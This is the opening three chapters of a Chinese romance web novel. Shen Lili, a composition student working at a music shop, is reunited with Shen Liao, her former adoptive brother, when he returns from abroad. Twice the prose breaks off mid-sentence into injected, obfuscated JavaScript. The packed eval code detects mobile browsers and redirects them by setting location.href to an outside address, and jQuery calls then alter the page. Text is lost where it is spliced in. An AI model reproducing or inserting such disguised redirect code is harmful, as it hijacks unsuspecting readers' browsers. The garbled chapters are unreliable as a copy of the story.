《脉搏》 1. 第 1 章 一月中旬,海文市。 昨晚下了整夜雨。 清晨,雨虽停了,潮寒却遗留下来,成为冬风的助力,让体感温度一降再降。 沈离离穿了及膝的水蓝色羽绒服,双手揣进口袋,把下半张脸埋在白色围巾里,疾步前行。走进地铁站,低温被隔绝,刹那间如获新生。 出乎意料地,地铁不算太拥挤,站台上人很少。 沈离离百无聊赖地划拉手机屏幕,安静等地铁。忽然手机振动,低头一看,是姑姑打来的电话。 接听后,沈君玉的声音传来:“离离,在哪呀?” 沈离离看了眼地铁到站时间,诚实回答:“去琴行的路上。” 沈君玉顿了两秒,说:“怎么又去琴行了?钱要是不够……” “不会不会,”沈离离连忙说,“姑姑你别多想啦,我就是去帮朋友忙,反正假期在家闲着也是闲着。” 对面叹了口气,“好吧,注意劳逸结合,别太辛苦。姑姑就是想叫你晚上回家吃饭,你哥哥的飞机下午三点落地,这事儿他跟你说过了吗?” 话音落下,沈离离愣了一瞬,甚至怀疑自己幻听。 “……什么?” 这一回,姑姑话里带了笑意:“你哥回国了。” 她呆住,唇微张,却一时不知该作何反应。脑海里骤然间闪过无数记忆画面,属于他的,属于他们的,一帧一帧,好像电影慢动作镜头。 然后,她就听见了地铁到站的播报,凉风扫过来,一阵响声,地铁进站。 沈离离回过神,才听见电话里的声音:“他是不是还没告诉你?肯定是想给你个惊喜呢。” 她缓缓吸了口气,对姑姑说:“那我等会儿跟我朋友说一声,晚饭的时候回去。” 电话那头,姑姑笑了笑:“行,快好好想想,有什么想吃的菜,微信发给我。” “好。” 走进地铁,沈离离找了个靠门的座位,仍觉得刚才那通电话不太真实。 沈燎真的要回来了。 可当这个事实像天上的阳光一样明晃晃又刺目地出现之后,她不可避免地开始担心下一个问题,他回来做什么,会待多久,为什么瞒着她,他们再见,又该如何相处…… 她一直没有告诉姑姑,她与沈燎其实已经有很长时间没有好好聊过天了。 三年前,他出国前夕,他们曾大吵了一架,后来再寒暄时,两个人都有些不自在。没有珍惜时间,偏要在分别前互戳心窝,弄得无论是道歉还是关心,都被迫隔了上万公里距离。这三年,他们之间始终有些尴尬。 想到这里,沈离离打开了微信,点进备注为“哥”的对话框里,翻看着十天半个月才有零星几条消息的聊天记录。 她有时也会觉得,或许感到尴尬的只有她一个,而沈燎,很大可能是毫不在乎的,无论是那次争吵,还是她。 因为大部分时间里,假装活泼,主动问候的都是她。 长长叹出一口气,她熄灭了手机屏幕。 二十分钟后,沈离离出了地铁站,步行几百米,抵达爱乐琴行。 这琴行有两层楼,还占了两个门面,一扇门,一扇落地玻璃窗,玻璃窗后是一台三角钢琴,从外面可以看见琴行暖色调的简约装修,以及种类丰富,挂了满墙的乐器。这里算是附近名气较大的老琴行了。 远远就听到吉他声,沈离离推开门,走向柜台。 取暖器旁边,杨敬澄正抱着吉他调音,戴着白色鸭舌帽,穿了深蓝卫衣,踩着球鞋,一贯的青春男大穿搭。听到脚步声,他抬头,冲沈离离打招呼:“离离!来那么早啊。” “不早了,都九点多了。”沈离离放了包,坐到取暖器旁边,呼出一口热气。 杨敬澄是沈离离的同班同学,都是海文艺术学院作曲系。他们两人和另外两名伙伴在大一时组建了乐队,四人十分合拍,性格品味都很合得来。 这间琴行是杨敬澄妈妈开的,杨女士寒假出门旅行去了,本打算再雇个人看店,没想到杨敬澄跃跃欲试,打算大显身手,说这假期琴行交给他没问题。 杨女士临走前忧虑不已。果不其然,没撑过两天,杨敬澄就在他们乐队的四人群里哭天喊地,跪求沈离离过来帮忙。 沈离离来了,杨女士也放心多了,承诺给她按琴行假期兼职的最高标准发工资。 “对了,”沈离离看向杨敬澄,“我今晚得回家一趟,可能四点多就走。” 杨敬澄停了两秒,沉吟片刻才说:“没问题啊,反正傍晚之后人也少了。你是……回你姑姑家?” “嗯,”她垂下眼,淡淡说,“我哥回国了。” 杨敬澄恍然大悟,“哦哦,没事,你先走呗,有我呢。” 他们乐队四人关系很好,沈离离的朋友不多,也只有他们稍微知道些她家里的情况。 “诶,离离,你吃早点没?” 沈离离回神,答道:“吃了。”说完,似有所感,抬头看了眼杨敬澄:“你没吃?” 杨敬澄装模作样地握拳轻咳了一声,“没吃呀,你看我,这么辛苦,这一大早就起床开门,冷成这样,人也没几个,还要坐在这儿调音……” 沈离离面无表情:“杨敬澄你打住啊,吃个早点而已,用得着苦肉计么?” 她无奈地伸手接过杨敬澄怀里那把吉他,对他摆了摆手,“我来吧。” “谢谢沈姐!沈姐你就是我的大恩人。”杨敬澄喜出望外,搓搓手站起身,披上羽绒服。 “免了,”沈离离抱起吉他,边拨弦,边问:“今天不是有个小孩要来学钢琴?什么时候到?” “哦,是有,应该十点多到吧,不过还没定呢,家长说先带来看看。”杨敬澄回忆着,说完已经戴好围巾,准备出门。 “行,你去吧。半小时内回来。” “遵命沈姐!” 寒假来学琴的人比暑假少得多,除了沈离离和另两位在琴行全职的老师,杨女士没招其他人,交代的是如果忙不过来,再告诉她。 十点左右,有孩子陆陆续续来练琴,屋内琴声嘈杂,此起彼伏。 沈离离去听了听她负责的那个小孩的作业,指导一番,又往后布置了几首练习曲。 这时,琴行的门再次被推开。 她原以为是杨敬澄回来了,转身一看,是对母女。 另两位老师都已在上课,毫无责任心的小老板还是没回来,沈离离只好叫小孩先练习,自己走过去迎接。 女人看上去三十多岁,化了淡妆,穿了女士西装,短发也一丝不苟,浑身上下端庄得体,拉着一脸不高兴的小女孩走进来。 沈离离招呼二人坐到会客区的沙发里,倒了热水,与女人寒暄。 这位女士名叫谢妍,一问才知道,她女儿璇璇想学钢琴,但一听要离开家,自己一个人到琴行,就开始抵触。 谢妍叹气说:“这孩子跟我一点也不像,内向胆小,特别怕陌生环境。但我工作调动,以后会更忙,哪有那么多时间陪她来。” 璇璇在一旁埋头听着,眼眶红红的,委屈又难过,却没说一个字。 沈离离看向小女孩,柔声说:“璇璇,来了琴行以后你可以交到很多小伙伴,其他小朋友刚开始也很不习惯,但尝试之后,你就会发现其实你很厉害的。” 闻言,璇璇终于抬头,抿着唇,瞧着她。 沈离离长了一张很古典的脸,深目直鼻,面部线条圆润流畅,再加上温婉大方的气质,形成了一种毫无攻击性的美。 让人联想到童话故事里优雅矜贵的公主,却又带着天然的亲和力。好像她真能和小动物对话似的。 璇璇与她对视,仍然犹豫不定,“真的吗?” “当然是真的,你看那边那个小姐姐,她刚来的时候比你还紧张呢。”语毕,沈离离看着璇璇一点点亮起来的眼睛,向她伸出手,笑道:“走,老师带你去看看。” 沈离离带着母女俩把琴行逛了一圈,牵着璇璇去落地玻璃后的那架三角钢琴前坐下,让她随意尝试。 璇璇小心翼翼按响了几个音,惊喜地抬起脸看向母亲。谢妍冲她笑了笑,给予鼓励的眼神。 沈离离简单给她弹了一首动画电影的主题曲,小女孩眼睛亮得像星星。 杨敬澄蹑手蹑脚地回到琴行时,看见的就是谢女士爽快付了钱,弯腰与女儿告别:“过一会儿来接你。”说完,对沈离离笑道:“沈老师,小孩儿就让你教,可以吧?别人我不放心。” 沈离离也笑说:“好,我肯定不辜负璇璇的热情。” 谢女士满意离去,杨敬澄这才从门后面溜出来,表情很浮夸,赞叹:“太厉害了沈老师,业务能力也太出色了吧,那位姐看着就不好糊弄!” 沈离离光速收回笑容,瞪他一眼,牵着璇璇去琴房,对他冷笑:“吃了一个小时的早点是吧?我等会儿收拾你。” 杨敬澄在她身后嬉皮笑脸:“等你啊。” 望着沈离离带小孩儿走进琴房,他又在原地站了一会儿,才慢慢呼出一口气,拿出了藏在身后的一束鲜花。 - 第一堂课,璇璇学得很开心,教学时间很快过去,沈离离带她去和其他小孩儿认识,接着又去看其他学员的情况。 到了下午,学琴的孩子和成人已经去了一批,来了第二批,谢女士三点多的时候过来把笑脸洋溢的小女孩接走了。 璇璇离开前还一步三回头,开心地跟沈离离告别:“沈老师明天见!” “明天见。”她也笑着挥挥手。 又送走了几个人,沈离离看看时间,坐下歇了一会儿,掏出手机回消息。 杨敬澄掐着点从二楼下来,走向她:“忙完了?” “差不多吧。” 杨敬澄看看她,清了清嗓子,也坐到她身旁,眼神不知该聚焦在何处,忽然没头没脑地问了句:“离离,你知道今天是什么日子吗?” “嗯?”沈离离抬起头,“什么日子?” 杨敬澄鼓起勇气凝视她的目光,抿了抿唇,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈离离很想说些什么,话到喉头,又全都消散无踪。身边坐着的好像不是沈燎,而是个初见的陌生人,神态陌生,气质陌生,没有一处是让她感到放松自在的。 怎么回事?明明才三年不见,明明三年来,手机里例行的寒暄也都照常进行,他也早就为三年前那次争吵道过歉…… “离离,不高兴吗?”沈燎先开了口,偏过头问。 “嗯?没有呀。”只是不知道该说些什么。 “我问姑姑要的琴行地址,没有事先跟你说,是想给你个惊喜。”说完,仔细看着她的脸,又问,“是不是哪不舒服?” 沈离离连忙摇头:“没,你别瞎担心。” 她花了些时间调整状态,再抬眼时,脸上已经挂着淡淡的笑,轻声说:“刚才差点没认出来你,变化好大。” 沈燎也笑了笑:“是吗?要不说说看,哪儿变了?” “真要说?” 沈燎瞧着她,笑而不语,像在无声催促。 “好吧,”沈离离不自觉弯唇,想了想,声音缓慢地说:“好像长高了,变得特别的……沉稳,不笑的时候有点严肃,还有点凶。我朋友都被你吓到了。” 她说着,拿出手机,点开四人小群的聊天记录给他看。 杨敬澄几分钟前在群里哀嚎:离离你哥怎么跟传说中不太一样啊,气场也太吓人了!!!我以为是花花公子,怎么是霸道总裁啊我靠…… 沈燎只瞥了一眼,重新看向她,“我看你变化更大。” “真的?我没觉得自己有变化。” “真的。”看向她时,沈燎的目光无比清润,像静谧湖泊。 沈离离移开视线,莫名在躲他的目光。忽然间,好像意识到了不对劲的源头。 为什么会感到不自在呢? 因为他已经不是她哥哥了。早在三年前,沈离离就和姑姑解除了收养关系,这下,她与沈燎连互称兄妹的一层世交关系也没有了。 是真正的,毫无关系的两个人。 他的声音一下子将她思绪拉回,在一件件细数她的变化:“也长高了,变白了,留了长头发,冬天知道戴围巾了,是不是还戴了美瞳?好像,脸也变瘦了。” 她不知道,他在心底补充:还跟他变得生疏了。 “噗……”沈离离有些好笑地打断他,“哥,你还是别说了。” “这也不让说?”沈燎也望着她笑。 她笑着,肉眼可见地放松了些,“你怎么像显微镜一样。但不是戴美瞳啦,是隐形眼镜。” 离离大笑的时候,眼睛会弯成条缝。她温婉大方的气质,只有笑起来才会淡去,像不谙世事的孩子。 沈燎看着她,无端想起了他们初见的那一天。 2. 第 2 章 沈离离的母亲名叫关瑶,她来沈家第一天,就惊艳了众人。 她身材窈窕,爱穿裙子,且大多色彩艳丽,与红唇相得益彰。走起路来裙摆像鱼尾那样悠悠地摇摆,但她的背总是挺得很直,让人容易误以为这是舞蹈演员的身姿。 当然,这桩婚事从一开始就遭到沈家人的反对,因为关瑶不止没有漂亮的背景,还比沈君良大了五岁,带着个来路不明的孩子。 直到意外离世,沈君良都没能与关瑶名正言顺地在一起。但对于她的美丽,无人能违心否认。 当所有人都在感慨这女人相貌之优越时,沈燎却一直盯着她身后,那个怯生生的小妹妹。 那时候的离离尚未改姓,名字还叫汤离。 妹妹胆子小,性格腼腆,却愿意亲近他。沈君良笑说自己去庙里算过,他们有兄妹缘分,日后会相处得很好。 沈燎如今觉得,某些方面看,这话倒是不假。 他们确实成了关系要好的兄妹。 “哥。” “哥?” 沈燎骤然回神,“怎么了?” “姑姑问你,有没有什么想吃的菜。”沈离离正在打字,和姑姑聊天。 沈燎垂眸,悄悄看了眼屏幕,离离回了姑姑一句:我不挑,吃什么都好。 他静默片刻,没有思考太久,飞快报了一串菜名。 “好的。”沈离离迅速打字发过去,过了一会儿,后知后觉,“你说的这些,明明是我爱吃的吧?” 他笑看她,腔调懒洋洋的:“有问题吗?姑姑非要问想吃什么的话,我就想吃这些。” 这句话出来,沈离离终于又看见了三年前那个沈燎的影子,总是散漫,又随心所欲。 她竟悄悄松了口气,还好,他似乎没有变化太大。 琴行离家有近二十公里的路程,坐地铁来回还算方便,开车反倒过于漫长。 不知什么时候,车内重归寂静,沈离离刚想问沈燎能不能放音乐听,转头一看,他合着眼,似乎是睡着了。 想来也是,飞机刚落地,时差也没倒就直直往她那里赶,会困成这样再正常不过。 放轻动作翻找了半天,沈离离还是没找到毯子,只好小声让司机将车内空调调高一些,免得他着凉。 从小到大,沈燎只有睡觉时比她乖巧,再大的床也不爱乱动,睡着后也没有其他小动作,真像是睡美人。 沈离离大胆地侧过头,直接盯着他看,目光落在他脸上,手机在不断震动,她也舍不得移开一眼。 仍然有些恍惚。他竟然真的一声不响离开了三年,在她慢慢习惯生活中再没有他以后,偏偏又回来了。 对她,还是那么温柔耐心,毫无芥蒂。 直到车开进海文市繁华地段,手机传来一连串的震动,沈燎才睁开眼睛。 微信弹出来近十条消息,全部来自同一个人。 项云天:我靠! 项云天:沈燎,你回国了? 项云天:今晚出来玩啊,拒绝不是兄弟。 项云天:都多久没见你了? 项云天:上个月发的消息你昨天才回!我真要当你死在国外了。 …… 翻日程表看了一眼,沈燎回复:明晚吧,地点你定。 项云天又砸过来一串感叹号,震惊于他的秒回。沈燎自动过滤他的无效信息,回复后就开免打扰。 “我睡了很久?” 离离摇头:“才半小时,不过也快到家了。” 沈燎点头,睡得脑袋有点晕,过了一会儿,才抬眼对她说:“一个人杵着发呆无不无聊?下次直接放音乐听,不用管我,吵不醒的。” 沈离离惊讶:“你有读心术?” 沈燎笑了两声,“对啊,针对沈离离同学专门研发的读心术,厉害吧?” “特别厉害。”她十分配合地鼓掌,憋住笑说:“不过,大师,我想学专门针对沈燎的读心术。” “你……”沈燎顿了顿,随后低头一笑,“这个就别学了。” “为什么?” 他笑道:“有问题,还是直接问本人吧。小闷葫芦可不能再闷下去了。” 很快,车开进小区,停在沈君玉的别墅前,两人下了车。 一进屋就闻见饭菜香味,屋子里暖融融的。 沈君玉正在客厅剪花,听见声音,抬头朝门口看,笑道:“我说怎么等不到人,原来一下飞机就跑去找妹妹了。” 两人脱了外衣,换了鞋,走进去。听见揶揄,沈燎也笑了笑,“三年没见,最不放心的就是她。” “最不放心?我看是最想。” 沈离离没理会他们的寒暄,拿了筷子去吃桌上的冰汤圆,回过头赞叹道:“姑姑,特别好吃。” 沈君玉看她,满眼是看小孩子的宠爱,“还是离离嘴甜眼尖,一眼就看出来桌上哪个是我做的是吧?” 沈燎:“因为您只会做最简单的甜点。” 沈君玉佯装不满:“你少说两句。” 沈离离噗嗤一声笑出来。 不一会儿,菜上齐了,厨师离开。三个人五道菜,其中三道都沈离离喜欢的。 “离离,菜都是你哥点的,你爱不爱吃?”这孩子从小就讨喜,但其实隐隐疏离,并不全心全意信任别人,沈君玉全都看得明白。 虽说离离已经不在她户下,但毕竟也是自己看着长大的,于情于理,她照顾离离都是应该的,但沈离离从不肯麻烦她。 三年前,沈燎离开后,离离像一夜之间长大了,在外面找兼职,从早忙到晚,也不收她一分钱。 每每问起来,就是她妈妈留下的钱还够用。 关瑶和沈君良意外去世前,都将遗产留给了沈离离。这一点,倒确实不用她操心。 “爱吃得很,”沈离离开口,没有戳破沈燎点菜的私心,只笑说:“我跟我哥口味差不多。” “那就好。在外面不比在家里,千万不能委屈自己。” “嗯嗯,姑姑我知道的。” 聊完了沈离离,接下来就是沈燎了。饭桌上两个女人都很好奇,沈燎这一趟突如其来的回国,究竟是不是一时兴起。 沈君玉直接问他:“这次回来准备待多久?” 沈燎目光轻轻扫过沈离离,答道:“不走了。怕再出去个一年半载,回来离离都不认识我了。” 沈离离埋头吃饭,闷声说了句:“怎么可能。” “认真的?”姑姑神情微讶,“你爸会依你?” 他没过多解释,只说:“他会同意的。” 沈燎的父亲名叫陆凯鸿。沈陆两家是世交,陆凯鸿的父母当年遭遇大难,将孩子托付到沈家,成年后学有所成,才回陆家拿财产。他承了沈老爷子的养育之恩,许诺说如果有了第二个孩子,一定取名姓沈。于是沈燎成了沈燎,而非陆燎。 不过陆凯鸿二十年前就和沈老爷子闹掰,夫妻俩带着大女儿常年在国外。 沈燎算是老来子,却并不见得十分得宠,反而被陆凯鸿送回国内,拜托兄弟挚友沈君良照看。 当初说的是沈燎脾性顽劣,放养恐将他真的养成无法无天二世祖了。但他最喜欢跟三叔玩在一起,也很听三叔的话,那时的沈君良事业稳定,尚未成家,寄养在他那无何不可。 沈君玉知道自己管不了他,叹了口气,道:“你自己有把握就行,别让你爸到我这儿逮人。” 闻言,沈燎笑笑:“再怎么样也不会闯到您这里。” 说到这个,姑姑才想起来问他:“回来之后还一直待在海文吗,住离离那?” 沈离离也抬起头,看向沈燎。 她记得,沈燎在海文是有房子的。但沈君良未过世前,他们同住,过世后,房子照沈君良遗嘱,成了沈离离的,他也因为不放心她一个人,并没有搬走。 一瞬间,沈离离察觉自己的视线与沈燎相撞,二人间气氛微妙地变了又变。 沈燎先一步开口,玩笑的语气:“离离长大了,不要哥哥了?我要不试一试苦肉计,睡两天桥洞,等离离心疼了来接我?” “你正经一点好不好!”沈离离飞快移开眼。 沈君玉知道他在逗离离:“你还真是狐狸,就知道她心软是吧。” 沈燎笑了两声,最终还是正色道:“我回来前已经计划过,不过房子重新装修可能得要些时间,先在离离那住一个月。” 离离问:“新房子在哪?” 他们都已经长大了,又不是真兄妹,自然不合适再住在一起。 沈燎看她一眼,报了个地址,接着说:“离你那儿就几公里路程。” 沈离离点头,在想,那这个月住在她那里确实要方便一些,住姑姑家的话,太远,不好查看装修情况…… 连自己也没意识到,为什么要在心里替他找理由,是在担忧什么,又是在怕自己误会什么? 不知为何,她心中一片寂静,却并不空荡。 吃过饭,又坐了一会儿,两人离开。刚好在门口碰见前来拜访的林砚洲——沈君玉的亲儿子,在父母离婚后跟随父亲居住。 两方不算熟稔,只简单打了声招呼。 回家路上,沈燎问了句:“姑姑这几年还是一个人?” 离离点头说:“她不打算再结婚,觉得男人都不太靠谱。” “这样啊。”缓慢地说完,忽然语气一转,问她:“那你呢?” 沈离离被他问得一愣,起初没反应过来他在问什么,过了两秒,眨了眨眼,偏过头,盯着车窗外飞速掠过的高楼,慢悠悠说:“看人吧。” 沈燎的行李早被司机送回来,到家后时间不早,两人互道晚安,各怀心事地睡下了。 - 次日清晨,沈离离顶着黑眼圈起床,下楼看见岛台上放好的牛奶和面包。 走过去一看,还有张纸条:起床发消息告诉我你晚上几点结束,我去接你。 居然已经出门了,照以前,他能睡到日上三竿。沈离离有点不习惯,甚至还不太敢确定,沈燎那么早出门是去工作还是吃喝玩乐。 她边吃早餐边给他发了消息:不用来接我,琴行离地铁站特别近。 沈燎几乎秒回:那出地铁告诉我。别糊弄,地铁站离家可不近,小孩走丢了怎么办。 她发了个语音过去:“我不是小孩儿。” 哥:好,不是小孩,但大孩走丢了,我也得着急啊。 隔着屏幕,似乎也能想象到他说这话时的语气神情。沈离离唇角一勾,回他:你真幼稚。 今天琴行没再来新学员,一切按部就班。 有空闲时,杨敬澄就拉着沈离离问有关沈燎的事情,沈离离狐疑,开玩笑问他:“你不会看上我哥吧?” 杨敬澄瞳孔一震:“怎么可能!我这,我这只是提前打探情况!” 沈离离更疑惑,眯眼盯着他:“我哥有什么情况好打探的,你想干嘛?” “就是……”杨敬澄停顿两秒,接着语速飞快地说:“这不是你哥回来了嘛,以后万一我们晚上得排练,你出门不得经过他的同意?感觉你哥这人挺古板,不好糊弄……” 头一次听到有人用古板二字形容沈燎,沈离离新奇地笑出来,说:“等一下,杨敬澄,你能不能别天天想着糊弄别人。” 笑完,她还是正了色,跟他解释道:“我哥不古板,但也不好糊弄。他知道我在当乐手,会尊重我的决定,而且,他又不是我监护人。” “噢噢,那就好。”杨敬澄愣愣点头。 虽然没有明说,但他隐隐能感觉到,在离离心里是听不得有人说沈燎不好的,无论是说他为人方面,还是做哥哥方面。 下午,人少了很多,他们俩的学员都在早上上课,空出了下午来排练。 约定的时间一到,殷恒和陈夏安先后抵达琴行,四人一同上了二楼。 陈夏安是主唱兼吉他手,性格开朗的典型“社牛”,和沈离离同校不同专业,学的是音乐学。殷恒则是四人中最高冷的,整场排练话不超过十句的鼓手,他在海文大学读建筑学,业余打鼓,是杨敬澄在回家路上偶然捞到的。 某天在路边捡到一根鼓棒,追上前面的失主,从而获得了一位鼓手。 其实整个小乐队,最出圈的不是歌,而是殷恒。因为他中法混血,长得漂亮。 沈离离也没想着这乐队能玩出什么花来,一开始也就是交朋友,一起玩一玩,就当放松。 虽就读于作曲系,但沈离离的创作风格并不适合演唱。大部分时候只有陈夏安和杨敬澄写歌,也都并不热衷,原创歌曲质量不错,可惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321084|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有两首。 即使这样,这个名叫“象限海”的不靠谱小乐队还是在海文大学城小有名气。 沈离离经常会觉得,可能有一半功劳是殷恒的脸。尽管他有女朋友,且在现场最高调的时候就是秀恩爱的时候。 练到晚饭后,几人围坐在一起喝水聊天。 “离离,我听说你哥回来?”陈夏安问。 沈离离点头,想到刚才杨敬澄的话,立刻道:“不过别担心,他不会限制我人身自由。” 陈夏安笑出来:“限制什么,他又不是你亲哥。” “是啊,”沈离离抱着保温杯,吹了吹飘在水面的一片干花瓣,语气随意,“他又不是我亲哥。” “他回国做什么呀?”问完,陈夏安马上又道:“如果不方便,不用说。” 沈离离笑了笑:“没什么不方便的,但其实,我也不太清楚。” 杨敬澄看向陈夏安,“怎么突然问这些?” “咳咳,老大恭喜你问到点子上了,”陈夏安忽然故作神秘,竖起一根手指,看着他们的眼睛,“我听到过一个八卦,有关沈燎的。” 杨敬澄:“我靠,什么八卦?” 沈离离:“你上哪听说的?” 陈夏安笑眯眯:“保真,不是桃色新闻。听我一个朋友说的,她爸好像是在生意上跟陆家的人有交集,她就蹭到一些瓜。” 杨敬澄对豪门八卦本身不感兴趣,但前面加上个沈字,就和离离有了一点关系,顿时产生了好奇心,催促道:“快说快说,别吊胃口。” 陈夏安将手里的水杯一放,指指窗外夜空,挑眉笑道:“换个地方?” - 十分钟后,四人到了酒吧街。 “卑鄙!”杨敬澄痛斥,“陈夏安,你就是想拉我们陪酒。” “什么叫陪酒啊,你这条件,给我钱也不要好吧。”陈夏安笑,挽着沈离离进了家常来的清吧,“离离上个月就说想喝莫吉托。” 杨敬澄气急败坏:“什么叫我这条件?小爷条件好得不得了……” 沈离离哇了一声,说:“安安,记性那么好?我就提了一嘴。” 陈夏安朝她抛了个wink,两人一起把杨敬澄甩在脑后,憋着笑:“我就算喝醉了也记得你的话。我们小宝好不容易想尝尝酒,怎么能不满足。” 酒吧里灯光幻彩又迷离,放的音乐有点吵,DJ在吧台后戴着耳机摇头晃脑,店内每一桌都玩得很嗨。 好在暖气足,比待在琴行还暖和。 坐下后,殷恒木着脸提前声明:“喝一杯我就走。” 陈夏安大手一挥:“准了,陪你家月亮小姐去吧。” 杨敬澄一再催促,赶紧进入主题。 陈夏安终于清了清嗓子,摆出神神秘秘的架势,低声说:“据说哈,据说,之前陆涵音大张旗鼓地想扩张市场,但前两年突然退幕后,成了顾问。又是去年年中,沈燎拿到了她之前负责的一个大项目,之后陆涵音在公众面前出现得就越来越少。” 她继续道:“很多人都在猜,沈燎是不是因为这么多年总被姐姐压一头,当久了一事无成的公子哥,在沈家捞不到东西,打算争陆家的话语权了。” 沈燎虽然姓沈,且一直被养在沈家,但从法律上来说仍然是陆家长房次子。也正因为不常在陆家,他手里压根没多少东西是姓陆的,陆凯鸿几乎把一切都留给大女儿。 听了半天,杨敬澄呆呆瞧着陈夏安,“我姐你说的是中文吗?” 一旁的沈离离默不作声,陷入思索。 陆涵音是陆凯鸿长女,一直被带在父母身边,比沈燎年长十岁。 沈离离没见过几次陆凯鸿,见这姐姐的次数更少,只知道是个雷厉风行,事业有成的女人。 但印象中,陆涵音和沈燎姐弟关系不错,虽然联系不算密切,但怎么也不可能到“争”的地步。 陈夏安没理杨敬澄的懵懂发言,补充道:“反正最近又因为沈燎回国,看势头是要在国内发展,这件事就又被拿出来说了。” 杨敬澄:“你怎么懂这些?三日不见,让我刮目相看啊。” “我不懂,”陈夏安微笑,“我照我朋友的话原句复述的。” “我就知道……” 这时,沈离离杵着下巴道:“我不大清楚这些……圈里的事情,平时我姑姑也不会主动跟我聊。但应该不是这种原因。” “什么?” “他出国,拿项目,回国,不可能是为了跟谁争什么东西,”她不知道该怎么解释,只说:“我了解他,他不是这样的人。” 陈夏安:“你哥?” 她对陈夏安点头。 喝了一口杯里的酒,沈离离盯着薄荷叶片顿了两秒才吞咽,感受到清凉在口腔蔓延,酸甜紧接着沁入心脾。 半小时后殷恒便先行离开,回家跟女朋友视频通话去了。 几人后来又聊了些别的,笑笑闹闹,也玩了个尽兴。 沈离离不是爱玩的性格,待了一会儿,有社交能量即将耗尽的趋势,又累又困。 时间不早,三人起身结账,打算离开。 走到门口,陈夏安忽然拍了拍沈离离的肩膀,语气严肃地对她说:“离离,那男的一直在盯你。” “嗯?”沈离离脊背一凉,刚要回头,就被满脸惊恐的杨敬澄拉着往外疾走,他低声说;“卧槽,他还过来了。” 走出去不过几步,身后有年轻男人的声音:“哎,沈离离?是你吗?” 三人脚步皆是一顿,面面相觑,没想到会是熟人。 沈离离回头,看见那男人朝她走来,她盯着对方的脸仔细辨认。确实眼熟,但想不起自己在哪见过。 “离离你认识?”杨敬澄警惕地往前一站,半边身子挡在她前面。 没来得及回答,那个穿夹克的男人已经走过来,表情惊喜,自来熟一般:“还真是你,没想到啊,我们得有好几年没见过了吧?” 沈离离礼貌回应:“应该是。” 他看了沈离离两秒,一下子反应过来什么,笑说:“不好意思了,刚没注意,你可能已经不记得我了。我叫项云天,你哥的朋友。” 介绍完,他往酒吧里一指,热情道:“你哥也在里面,要不要再进去玩一玩?叫上你朋友一起。” 3. 第 3 章 在项云天靠近的几秒钟里,沈离离嗅到他身上浓重的啤酒味,下意识皱了眉头。 内心的不安一点点爬上来。 她原以为自己会纠结,权衡,然后拒绝,毕竟今晚她的状态已经很疲惫。 但最终,她却是几乎没有犹豫地回应道:“我朋友他们明早还有事,可能得先回去,我进去跟我哥打个招呼吧。” “行啊,”项云天自然乐意,笑道:“你哥一走就是三年,你也是,从来不露面,同时见到你们兄妹两个,还挺稀罕。” 沈离离也同对方笑了笑,客气说:“以后机会还多。” 她回身跟两人简单说了说情况,怕沈燎喝多了,得去看看才放心,叫他们先回家。 “离离,你自己能行吗?”陈夏安蹙着眉,叫住她,忧心她一个人没法应付。 “放心,没问题的,”离离抱了抱她,又交代杨敬澄:“你可别把安安送到一半先跑了。” 杨敬澄看着她:“还担心我们呢,你自己注意一点。” “我知道的。”她笑笑,叫他们放心。 同项云天一道走回去,沈离离问他们今晚是不是人人都喝了啤酒。 项云天点头说是,不知道她为什么莫名关注这个。 沈离离感觉自己的心脏像是往下沉了几分,“我哥喝不了啤酒,他有点儿低程度的小麦过敏。” “我去,真的假的?!他,他也没跟我们说过呀,好像还真是……这人以前出来也从不喝啤酒威士忌什么的……”项云天也一下子慌起来。 过敏不是小事,他立刻加快步伐,领着沈离离进去。 灯光和音乐将整个酒吧渲染成光怪陆离的缤纷世界,空气里是混杂的烟酒味,或许让人肾上腺素飙升,也或许会让人感到不适,沈离离自然是属于后者。 上到二楼,是更为奢华的私人会所。走进包厢,音响震得人心脏发麻。这里面光线更暗,她却一眼锁定了中间的沈燎。 在场几个男人中,沈燎外貌上等,明明是凌厉的骨相,却被一双桃花眼削弱了气势,喝醉后,双目更显得深情缱绻。 从沈离离进来,他的目光就粘在她身上了,片刻不移。 沈离离走过去,跟周围人简单打了招呼。 奇怪的是,她对这些人都没印象,他们却不约而同认识她。纷纷露出友好的笑,喊她妹妹。 项云天走过去,把沈燎浑身上下看一遍,“没事儿吧?沈燎,你那什么小麦过敏怎么也没跟我说一声,要不是妹妹来了,你今晚……” “叫谁妹妹呢?这是我妹。”始终沉默着,无动于衷的沈燎,这时才转过脸,目光从离离身上离开。 项云天简直被气笑,“我都懒得骂你。” 他将沈燎拉起来,只和其他人说:“妹妹怕他喝死了,来接一下,你们先玩儿。” 包厢不小,人也不少,音乐声震耳欲聋,有人大声笑说:“沈燎,以前喊不出来,就说要照顾小妹,怎么都现在妹妹都长那么大了,你还要粘着人家?” 沈离离一愣。 另一人闻言大笑,接道:“恐怕以后谈个恋爱也要妹妹同意。” 面对这些玩笑,本应有无数种回应话术。但沈离离不知自己哪根筋搭错,下意识的就是回头替他辩解:“怎么可能,没有那么夸张,他是因为……” 话没说完,肩膀被一只灼热的手掌握住,将她往外轻推。 头顶响起沈燎的声音,同样似笑非笑,让人分不清究竟是不是玩笑:“那怎么办?还真是这样。”顿了一秒,就接着说,“不过问你们也没用,你们又没有妹妹。走了。” 沈离离蓦然抬头,变幻不停的彩灯下,他的脸上也被映了灯光色块,明暗交叠,朦胧不清,只有刹那,蓝绿色的光斑将他的眼睛照亮,闪过的不知是什么样的眸光。 她固执地想看清他的神色。 